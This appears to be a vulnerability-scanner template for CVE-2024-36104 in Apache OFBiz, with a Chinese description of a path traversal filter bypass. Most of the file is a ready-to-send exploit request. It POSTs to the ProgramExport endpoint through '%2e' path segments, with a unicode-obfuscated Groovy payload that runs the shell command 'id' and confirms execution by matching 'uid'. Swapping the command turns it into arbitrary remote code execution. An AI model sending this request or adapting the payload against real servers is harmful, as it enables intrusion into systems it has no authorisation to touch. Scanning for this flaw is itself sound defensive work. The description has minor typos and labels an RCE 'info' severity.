id: CVE-2024-36104

info:
  name: Apache OFBiz 路径遍历导致RCE
  author: Adler
  severity: info
  description: |
    Apache OFBiz（Open For Business）是一个开源的企业资源规划（ERP）系统和企业应用框架，由Apache软件基金会开发和维护。OFBiz旨在提供一套全面的企业应用解决方案，涵盖了各种业务功能，包括订单管理、库存管理、会计、人力资源、电子商务等。
    该漏洞源于org.apache.otbiz.webapp.control.ControlFiter类对路径(请求URL中的特殊字符(如;、%2e)限制不当导致攻击者能够绕过后台功能点的过滤器验证，并通过webtools/control/ProgramExpor接囗的编程导出功能执行任意Groovy代码获取系统权限。

http:
  - raw: 
    - |
      POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
      Host: {{Hostname}}
      user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
      Content-Type: application/x-www-form-urlencoded
      
      groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

    matchers:
      - type: word
        part: body
        words:
          - uid